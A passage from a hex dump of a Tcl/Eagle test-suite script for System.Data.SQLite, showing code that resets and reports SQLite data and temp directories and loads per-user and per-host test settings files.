65 20 73 NOTE: Now make s 1bea0 75 72 65 20 74 68 65 20 64 61 74 61 62 61 73 65 ure the database 1beb0 20 61 6e 64 20 74 65 6d 70 6f 72 61 72 79 20 64 and temporary d 1bec0 69 72 65 63 74 6f 72 69 65 73 20 61 72 65 0d 0a irectories are.. 1bed0 20 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 # 1bee0 20 20 72 65 73 65 74 20 74 68 65 69 72 20 64 65 reset their de 1bef0 66 61 75 6c 74 20 76 61 6c 75 65 73 2c 20 77 68 fault values, wh 1bf00 69 63 68 20 73 68 6f 75 6c 64 20 62 65 20 6e 75 ich should be nu 1bf10 6c 6c 20 66 6f 72 20 62 6f 74 68 2e 0d 0a 20 20 ll for both... 1bf20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 1bf30 53 69 6e 63 65 20 74 68 65 20 73 71 6c 69 74 65 Since the sqlite 1bf40 33 5f 77 69 6e 33 32 5f 73 65 74 5f 64 69 72 65 3_win32_set_dire 1bf50 63 74 6f 72 79 20 66 75 6e 63 74 69 6f 6e 20 69 ctory function i 1bf60 73 20 61 76 61 69 6c 61 62 6c 65 2c 0d 0a 20 20 s available,.. 1bf70 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 1bf80 75 73 65 20 69 74 2e 0d 0a 20 20 20 20 20 20 20 use it... 1bf90 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. 1bfa0 66 6f 72 20 7b 73 65 74 20 69 6e 64 65 78 20 31 for {set index 1 1bfb0 7d 20 7b 24 69 6e 64 65 78 20 3c 20 33 7d 20 7b } {$index < 3} { 1bfc0 69 6e 63 72 20 69 6e 64 65 78 7d 20 7b 0d 0a 20 incr index} {.. 1bfd0 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 5b if {[ 1bfe0 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 catch {.. 1bff0 20 20 20 20 20 20 20 6f 62 6a 65 63 74 20 69 6e object in 1c000 76 6f 6b 65 20 2d 66 6c 61 67 73 20 2b 4e 6f 6e voke -flags +Non 1c010 50 75 62 6c 69 63 20 5c 0d 0a 20 20 20 20 20 20 Public \.. 1c020 20 20 20 20 20 20 20 20 20 20 20 20 53 79 73 74 Syst 1c030 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 55 em.Data.SQLite.U 1c040 6e 73 61 66 65 4e 61 74 69 76 65 4d 65 74 68 6f nsafeNativeMetho 1c050 64 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 ds \.. 1c060 20 20 20 20 20 20 20 20 73 71 6c 69 74 65 33 5f sqlite3_ 1c070 77 69 6e 33 32 5f 73 65 74 5f 64 69 72 65 63 74 win32_set_direct 1c080 6f 72 79 20 24 69 6e 64 65 78 20 6e 75 6c 6c 0d ory$index null. 1c090 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 72 . } r 1c0a0 65 73 75 6c 74 5d 20 3d 3d 20 30 7d 20 74 68 65 esult] == 0} the 1c0b0 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n {.. 1c0c0 20 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 tputs $channe 1c0d0 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d l [appendArgs \. 1c0e0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 1c0f0 20 20 20 22 2d 2d 2d 2d 20 63 61 6c 6c 20 73 71 "---- call sq 1c100 6c 69 74 65 33 5f 77 69 6e 33 32 5f 73 65 74 5f lite3_win32_set_ 1c110 64 69 72 65 63 74 6f 72 79 28 22 20 24 69 6e 64 directory("$ind 1c120 65 78 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 ex \.. 1c130 20 20 20 20 20 20 20 20 22 2c 20 6e 75 6c 6c 29 ", null) 1c140 2e 2e 2e 20 6f 6b 3a 20 22 20 24 72 65 73 75 6c ... ok: " $resul 1c150 74 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 t \n].. 1c160 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 } else {.. 1c170 20 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 tputs 1c180 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e$channel [appen 1c190 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 dArgs \.. 1c1a0 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d "---- 1c1b0 20 63 61 6c 6c 20 73 71 6c 69 74 65 33 5f 77 69 call sqlite3_wi 1c1c0 6e 33 32 5f 73 65 74 5f 64 69 72 65 63 74 6f 72 n32_set_director 1c1d0 79 28 22 20 24 69 6e 64 65 78 20 5c 0d 0a 20 20 y(" $index \.. 1c1e0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1c1f0 22 2c 20 6e 75 6c 6c 29 2e 2e 2e 20 65 72 72 6f ", null)... erro 1c200 72 3a 20 22 20 5c 6e 5c 74 20 24 72 65 73 75 6c r: " \n\t$resul 1c210 74 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 t \n].. 1c220 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 }.. 1c230 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 }.. }.. 1c240 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 } else {.. 1c250 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 tputs $cha 1c260 6e 6e 65 6c 20 6e 6f 5c 6e 0d 0a 0d 0a 20 20 20 nnel no\n.... 1c270 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 1c280 23 20 4e 4f 54 45 3a 20 44 6f 65 73 20 6f 75 72 # NOTE: Does our 1c290 20 63 61 6c 6c 65 72 20 77 61 6e 74 20 74 6f 20 caller want to 1c2a0 72 65 73 65 74 20 74 68 65 20 64 69 72 65 63 74 reset the direct 1c2b0 6f 72 69 65 73 3f 20 20 54 68 69 73 20 63 61 6e ories? This can 1c2c0 20 6f 6e 6c 79 0d 0a 20 20 20 20 20 20 20 20 23 only.. # 1c2d0 20 20 20 20 20 20 20 62 65 20 70 65 72 66 6f 72 be perfor 1c2e0 6d 65 64 20 69 66 20 53 51 4c 69 74 65 20 69 73 med if SQLite is 1c2f0 20 6c 6f 61 64 65 64 20 61 6e 64 20 72 65 61 64 loaded and read 1c300 79 20 66 6f 72 20 75 73 65 20 62 79 20 74 68 65 y for use by the 1c310 20 74 65 73 74 0d 0a 20 20 20 20 20 20 20 20 23 test.. # 1c320 20 20 20 20 20 20 20 73 75 69 74 65 2e 0d 0a 20 suite... 1c330 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 1c340 20 20 69 66 20 7b 24 72 65 73 65 74 20 26 26 20 if {$reset && 1c350 5b 69 73 53 51 4c 69 74 65 52 65 61 64 79 5d 7d [isSQLiteReady]} 1c360 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 1c370 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. 1c380 23 20 4e 4f 54 45 3a 20 4e 6f 77 20 6d 61 6b 65 # NOTE: Now make 1c390 20 73 75 72 65 20 74 68 65 20 64 61 74 61 62 61 sure the databa 1c3a0 73 65 20 61 6e 64 20 74 65 6d 70 6f 72 61 72 79 se and temporary 1c3b0 20 64 69 72 65 63 74 6f 72 69 65 73 20 61 72 65 directories are 1c3c0 0d 0a 20 20 20 20 20 20 20 20 20 20 23 20 20 20 .. # 1c3d0 20 20 20 20 72 65 73 65 74 20 74 68 65 69 72 20 reset their 1c3e0 64 65 66 61 75 6c 74 20 76 61 6c 75 65 73 2c 20 default values, 1c3f0 77 68 69 63 68 20 73 68 6f 75 6c 64 20 62 65 20 which should be 1c400 6e 75 6c 6c 20 66 6f 72 20 62 6f 74 68 2e 0d 0a null for both... 1c410 20 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 # 1c420 20 20 53 69 6e 63 65 20 74 68 65 20 73 71 6c 69 Since the sqli 1c430 74 65 33 5f 77 69 6e 33 32 5f 73 65 74 5f 64 69 te3_win32_set_di 1c440 72 65 63 74 6f 72 79 20 66 75 6e 63 74 69 6f 6e rectory function 1c450 20 64 6f 65 73 20 6e 6f 74 0d 0a 20 20 20 20 20 does not.. 1c460 20 20 20 20 20 23 20 20 20 20 20 20 20 61 70 70 # app 1c470 65 61 72 20 74 6f 20 62 65 20 61 76 61 69 6c 61 ear to be availa 1c480 62 6c 65 2c 20 75 73 65 20 74 68 65 20 61 73 73 ble, use the ass 1c490 6f 63 69 61 74 65 64 20 50 52 41 47 4d 41 20 63 ociated PRAGMA c 1c4a0 6f 6d 6d 61 6e 64 73 0d 0a 20 20 20 20 20 20 20 ommands.. 1c4b0 20 20 20 23 20 20 20 20 20 20 20 69 6e 73 74 65 # inste 1c4c0 61 64 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 23 ad... # 1c4d0 0d 0a 20 20 20 20 20 20 20 20 20 20 66 6f 72 65 .. fore 1c4e0 61 63 68 20 64 69 72 65 63 74 6f 72 79 20 5b 6c ach directory [l 1c4f0 69 73 74 20 64 61 74 61 5f 73 74 6f 72 65 5f 64 ist data_store_d 1c500 69 72 65 63 74 6f 72 79 20 74 65 6d 70 5f 73 74 irectory temp_st 1c510 6f 72 65 5f 64 69 72 65 63 74 6f 72 79 5d 20 7b ore_directory] { 1c520 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 .. se 1c530 74 20 73 71 6c 20 5b 61 70 70 65 6e 64 41 72 67 t sql [appendArg 1c540 73 20 22 50 52 41 47 4d 41 20 22 20 24 64 69 72 s "PRAGMA " $dir 1c550 65 63 74 6f 72 79 20 22 20 3d 20 5c 22 5c 22 3b ectory " = \"\"; 1c560 22 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 "].... 1c570 20 20 69 66 20 7b 5b 63 61 74 63 68 20 7b 65 78 if {[catch {ex 1c580 65 63 75 74 65 53 71 6c 20 24 73 71 6c 7d 20 72 ecuteSql$sql} r 1c590 65 73 75 6c 74 5d 20 3d 3d 20 30 7d 20 74 68 65 esult] == 0} the 1c5a0 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n {.. 1c5b0 20 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 tputs $channe 1c5c0 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d l [appendArgs \. 1c5d0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 1c5e0 20 20 20 22 2d 2d 2d 2d 20 65 78 65 63 75 74 65 "---- execute 1c5f0 20 50 52 41 47 4d 41 20 22 20 24 64 69 72 65 63 PRAGMA "$direc 1c600 74 6f 72 79 20 22 2e 2e 2e 20 6f 6b 3a 20 5c 22 tory "... ok: \" 1c610 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 " \.. 1c620 20 20 20 20 20 20 20 24 72 65 73 75 6c 74 20 5c $result \ 1c630 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 "\n].. 1c640 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 } else {.. 1c650 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 tputs 1c660 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64$channel [append 1c670 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 Args \.. 1c680 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 "---- 1c690 65 78 65 63 75 74 65 20 50 52 41 47 4d 41 20 22 execute PRAGMA " 1c6a0 20 24 64 69 72 65 63 74 6f 72 79 20 22 2e 2e 2e $directory "... 1c6b0 20 65 72 72 6f 72 3a 20 22 20 5c 0d 0a 20 20 20 error: " \.. 1c6c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c \ 1c6d0 6e 5c 74 20 24 72 65 73 75 6c 74 20 5c 6e 5d 0d n\t$result \n]. 1c6e0 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a . }.. 1c6f0 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 }.. 1c700 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d }.. }. 1c710 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 ... #.. 1c720 20 20 23 20 4e 4f 54 45 3a 20 46 69 6e 61 6c 6c # NOTE: Finall 1c730 79 2c 20 73 68 6f 77 20 74 68 65 20 63 75 72 72 y, show the curr 1c740 65 6e 74 20 76 61 6c 75 65 20 6f 66 20 74 68 65 ent value of the 1c750 20 64 61 74 61 62 61 73 65 20 61 6e 64 20 74 65 database and te 1c760 6d 70 6f 72 61 72 79 0d 0a 20 20 20 20 20 20 23 mporary.. # 1c770 20 20 20 20 20 20 20 64 69 72 65 63 74 6f 72 69 directori 1c780 65 73 2e 20 20 54 68 69 73 20 63 61 6e 20 6f 6e es. This can on 1c790 6c 79 20 62 65 20 70 65 72 66 6f 72 6d 65 64 20 ly be performed 1c7a0 69 66 20 53 51 4c 69 74 65 20 69 73 20 6c 6f 61 if SQLite is loa 1c7b0 64 65 64 0d 0a 20 20 20 20 20 20 23 20 20 20 20 ded.. # 1c7c0 20 20 20 61 6e 64 20 72 65 61 64 79 20 66 6f 72 and ready for 1c7d0 20 75 73 65 20 62 79 20 74 68 65 20 74 65 73 74 use by the test 1c7e0 20 73 75 69 74 65 2e 0d 0a 20 20 20 20 20 20 23 suite... # 1c7f0 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 69 73 53 .. if {[isS 1c800 51 4c 69 74 65 52 65 61 64 79 5d 7d 20 74 68 65 QLiteReady]} the 1c810 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 72 n {.. for 1c820 65 61 63 68 20 64 69 72 65 63 74 6f 72 79 20 5b each directory [ 1c830 6c 69 73 74 20 64 61 74 61 5f 73 74 6f 72 65 5f list data_store_ 1c840 64 69 72 65 63 74 6f 72 79 20 74 65 6d 70 5f 73 directory temp_s 1c850 74 6f 72 65 5f 64 69 72 65 63 74 6f 72 79 5d 20 tore_directory] 1c860 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 74 70 75 {.. tpu 1c870 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 ts $channel [app 1c880 65 6e 64 41 72 67 73 20 22 2d 2d 2d 2d 20 63 68 endArgs "---- ch 1c890 65 63 6b 69 6e 67 20 22 20 24 64 69 72 65 63 74 ecking "$direct 1c8a0 6f 72 79 20 22 2e 2e 2e 20 22 5d 0d 0a 0d 0a 20 ory "... "].... 1c8b0 20 20 20 20 20 20 20 20 20 73 65 74 20 73 71 6c set sql 1c8c0 20 5b 61 70 70 65 6e 64 41 72 67 73 20 22 50 52 [appendArgs "PR 1c8d0 41 47 4d 41 20 22 20 24 64 69 72 65 63 74 6f 72 AGMA " $director 1c8e0 79 20 5c 3b 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 y \;].... 1c8f0 20 20 20 69 66 20 7b 5b 63 61 74 63 68 20 7b 65 if {[catch {e 1c900 78 65 63 75 74 65 53 71 6c 20 24 73 71 6c 20 73 xecuteSql$sql s 1c910 63 61 6c 61 72 7d 20 72 65 73 75 6c 74 5d 20 3d calar} result] = 1c920 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 = 0} then {.. 1c930 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 tputs $1c940 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA 1c950 72 67 73 20 22 6f 6b 3a 20 5c 22 22 20 24 72 65 rgs "ok: \""$re 1c960 73 75 6c 74 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 sult \"\n].. 1c970 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a } else {.. 1c980 20 20 20 20 20 20 20 20 20 20 20 20 74 70 75 74 tput 1c990 73 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 s $channel [appe 1c9a0 6e 64 41 72 67 73 20 22 65 72 72 6f 72 3a 20 22 ndArgs "error: " 1c9b0 20 5c 6e 5c 74 20 24 72 65 73 75 6c 74 20 5c 6e \n\t$result \n 1c9c0 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a ].. }.. 1c9d0 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 }.. 1c9e0 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 }.. }..... 1c9f0 20 20 70 72 6f 63 20 6c 6f 61 64 53 51 4c 69 74 proc loadSQLit 1ca00 65 54 65 73 74 53 65 74 74 69 6e 67 73 20 7b 20 eTestSettings { 1ca10 63 68 61 6e 6e 65 6c 20 7b 73 75 66 66 69 78 20 channel {suffix 1ca20 22 22 7d 20 7b 71 75 69 65 74 20 66 61 6c 73 65 ""} {quiet false 1ca30 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 23 0d 0a } } {.. #.. 1ca40 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 53 6b # NOTE: Sk 1ca50 69 70 20 6c 6f 61 64 69 6e 67 20 74 68 65 20 73 ip loading the s 1ca60 65 74 74 69 6e 67 73 20 69 66 20 74 68 65 69 72 ettings if their 1ca70 20 75 73 61 67 65 20 68 61 73 20 62 65 65 6e 20 usage has been 1ca80 64 69 73 61 62 6c 65 64 2e 0d 0a 20 20 20 20 20 disabled... 1ca90 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b 21 5b #.. if {![ 1caa0 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f info exists ::no 1cab0 28 73 71 6c 69 74 65 54 65 73 74 53 65 74 74 69 (sqliteTestSetti 1cac0 6e 67 73 29 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 ngs)]} then {.. 1cad0 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 1cae0 20 20 23 20 4e 4f 54 45 3a 20 4c 6f 61 64 20 63 # NOTE: Load c 1caf0 75 73 74 6f 6d 20 70 65 72 2d 75 73 65 72 20 61 ustom per-user a 1cb00 6e 64 2f 6f 72 20 70 65 72 2d 68 6f 73 74 20 74 nd/or per-host t 1cb10 65 73 74 20 73 65 74 74 69 6e 67 73 20 6e 6f 77 est settings now 1cb20 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 1cb30 20 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f 20 if {[info 1cb40 65 78 69 73 74 73 20 3a 3a 74 63 6c 5f 70 6c 61 exists ::tcl_pla 1cb50 74 66 6f 72 6d 28 75 73 65 72 29 5d 7d 20 74 68 tform(user)]} th 1cb60 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 1cb70 73 65 74 20 75 73 65 72 53 65 74 74 69 6e 67 73 set userSettings 1cb80 46 69 6c 65 4e 61 6d 65 20 5b 66 69 6c 65 20 6a FileName [file j 1cb90 6f 69 6e 20 5b 67 65 74 43 6f 6d 6d 6f 6e 44 69 oin [getCommonDi 1cba0 72 65 63 74 6f 72 79 5d 20 5c 0d 0a 20 20 20 20 rectory] \.. 1cbb0 20 20 20 20 20 20 20 20 20 20 5b 61 70 70 65 6e [appen 1cbc0 64 41 72 67 73 20 73 65 74 74 69 6e 67 73 20 24 dArgs settings $1cbd0 73 75 66 66 69 78 20 2e 20 24 3a 3a 74 63 6c 5f suffix .$::tcl_ 1cbe0 70 6c 61 74 66 6f 72 6d 28 75 73 65 72 29 20 2e platform(user) . 1cbf0 65 61 67 6c 65 5d 5d 0d 0a 0d 0a 20 20 20 20 20 eagle]].... 1cc00 20 20 20 20 20 69 66 20 7b 5b 66 69 6c 65 20 65 if {[file e 1cc10 78 69 73 74 73 20 24 75 73 65 72 53 65 74 74 69 xists $userSetti 1cc20 6e 67 73 46 69 6c 65 4e 61 6d 65 5d 7d 20 74 68 ngsFileName]} th 1cc30 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 1cc40 20 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 74 if {!$quiet} t 1cc50 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 1cc60 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e tputs $chan 1cc70 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 nel [appendArgs 1cc80 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 1cc90 20 20 20 20 20 22 2d 2d 2d 2d 20 6c 6f 61 64 69 "---- loadi 1cca0 6e 67 20 70 65 72 2d 75 73 65 72 20 74 65 73 74 ng per-user test 1ccb0 20 73 65 74 74 69 6e 67 73 20 66 69 6c 65 20 5c settings file \ 1ccc0 22 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 "" \.. 1ccd0 20 20 20 20 20 20 20 20 24 75 73 65 72 53 65 74$userSet 1cce0 74 69 6e 67 73 46 69 6c 65 4e 61 6d 65 20 5c 22 tingsFileName \" 1ccf0 2e 2e 2e 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 ...\n].. 1cd00 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 }.... 1cd10 20 20 20 20 20 69 66 20 7b 5b 63 61 74 63 68 20 if {[catch 1cd20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1cd30 20 75 70 6c 65 76 65 6c 20 31 20 5b 6c 69 73 74 uplevel 1 [list 1cd40 20 73 6f 75 72 63 65 20 24 75 73 65 72 53 65 74 source $userSet 1cd50 74 69 6e 67 73 46 69 6c 65 4e 61 6d 65 5d 0d 0a tingsFileName].. 1cd60 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 72 } er 1cd70 72 6f 72 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 ror]} then {.. 1cd80 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b if { 1cd90 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d !$quiet} then {. 1cda0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 1cdb0 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 tputs $channel 1cdc0 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 [appendArgs \.. 1cdd0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1cde0 20 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 4e 47 "==== WARNING 1cdf0 3a 20 66 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 : failed to load 1ce00 20 70 65 72 2d 75 73 65 72 20 73 65 74 74 69 6e per-user settin 1ce10 67 73 20 66 69 6c 65 20 5c 22 22 20 5c 0d 0a 20 gs file \"" \.. 1ce20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1ce30 20 20 20 24 75 73 65 72 53 65 74 74 69 6e 67 73$userSettings 1ce40 46 69 6c 65 4e 61 6d 65 20 22 5c 22 2c 20 65 72 FileName "\", er 1ce50 72 6f 72 3a 20 22 20 5c 6e 5c 74 20 24 65 72 72 ror: " \n\t $err 1ce60 6f 72 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 or \n].. 1ce70 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 }.. 1ce80 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 }.. 1ce90 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 } else {.. 1cea0 20 20 20 20 20 20 20 20 69 66 20 7b 21 24 71 75 if {!$qu 1ceb0 69 65 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 iet} then {.. 1cec0 20 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 tputs 1ced0 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e $channel [appen 1cee0 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 dArgs \.. 1cef0 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d "---- 1cf00 20 73 6b 69 70 70 65 64 20 6c 6f 61 64 69 6e 67 skipped loading 1cf10 20 70 65 72 2d 75 73 65 72 20 74 65 73 74 20 73 per-user test s 1cf20 65 74 74 69 6e 67 73 20 66 69 6c 65 20 5c 22 22 ettings file \"" 1cf30 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 1cf40 20 20 20 20 20 20 24 75 73 65 72 53 65 74 74 69$userSetti 1cf50 6e 67 73 46 69 6c 65 4e 61 6d 65 20 22 5c 22 2c ngsFileName "\", 1cf60 20 69 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 it does not exi 1cf70 73 74 5c 6e 22 5d 0d 0a 20 20 20 20 20 20 20 20 st\n"].. 1cf80 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 }.. 1cf90 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d }.. }... 1cfa0 0a 20 20 20 20 20 20 20 20 23 23 23 23 23 23 23 . ####### 1cfb0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 1cfc0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 1cfd0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 1cfe0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 1cff0 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b .... if { 1d000 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 74 [info exists ::t 1d010 63 6c 5f 70 6c 61 74 66 6f 72 6d 28 68 6f 73 74 cl_platform(host 1d020 29 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 )]} then {.. 1d030 20 20 20 20 20 20 73 65 74 20 68 6f 73 74 53 65 set hostSe 1d040 74 74 69 6e 67 73 46 69 6c 65 4e 61 6d 65 20 5b ttingsFileName [ 1d050 66 69 6c 65 20 6a 6f 69 6e 20 5b 67 65 74 43 6f file join [getCo 1d060 6d 6d 6f 6e 44 69 72 65 63 74 6f 72 79 5d 20 5c mmonDirectory] \ 1d070 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1d080 5b 61 70 70 65 6e 64 41 72 67 73 20 73 65 74 74 [appendArgs sett 1d090 69 6e 67 73 20 24 73 75 66 66 69 78 20 2e 20 24 ings $suffix .$ 1d0a0 3a 3a 74 63 6c 5f 70 6c 61 74 66 6f 72 6d 28 68 ::tcl_platform(h 1d0b0 6f 73 74 29 20 2e 65 61 67 6c 65 5d 5d 0d 0a 0d ost) .eagle]]... 1d0c0 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 5b . if {[ 1d0d0 66 69 6c 65 20 65 78 69 73 74 73 20 24 68 6f 73 file exists $hos 1d0e0 74 53 65 74 74 69 6e 67 73 46 69 6c 65 4e 61 6d tSettingsFileNam 1d0f0 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 e]} then {.. 1d100 20 20 20 20 20 20 20 20 69 66 20 7b 21 24 71 75 if {!$qu 1d110 69 65 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 iet} then {.. 1d120 20 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 tputs 1d130 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e $channel [appen 1d140 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 dArgs \.. 1d150 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d "---- 1d160 20 6c 6f 61 64 69 6e 67 20 70 65 72 2d 68 6f 73 loading per-hos 1d170 74 20 74 65 73 74 20 73 65 74 74 69 6e 67 73 20 t test settings 1d180 66 69 6c 65 20 5c 22 22 20 5c 0d 0a 20 20 20 20 file \"" \.. 1d190 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 68$h 1d1a0 6f 73 74 53 65 74 74 69 6e 67 73 46 69 6c 65 4e ostSettingsFileN 1d1b0 61 6d 65 20 5c 22 2e 2e 2e 5c 6e 5d 0d 0a 20 20 ame \"...\n].. 1d1c0 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 }.... 1d1d0 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 5b if {[ 1d1e0 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 catch {.. 1d1f0 20 20 20 20 20 20 20 75 70 6c 65 76 65 6c 20 31 uplevel 1 1d200 20 5b 6c 69 73 74 20 73 6f 75 72 63 65 20 24 68 [list source $h 1d210 6f 73 74 53 65 74 74 69 6e 67 73 46 69 6c 65 4e ostSettingsFileN 1d220 61 6d 65 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 ame].. 1d230 20 20 7d 20 65 72 72 6f 72 5d 7d 20 74 68 65 6e } error]} then 1d240 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1d250 20 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 74 if {!$quiet} t 1d260 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 1d270 20 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 tputs $ch 1d280 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 annel [appendArg 1d290 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 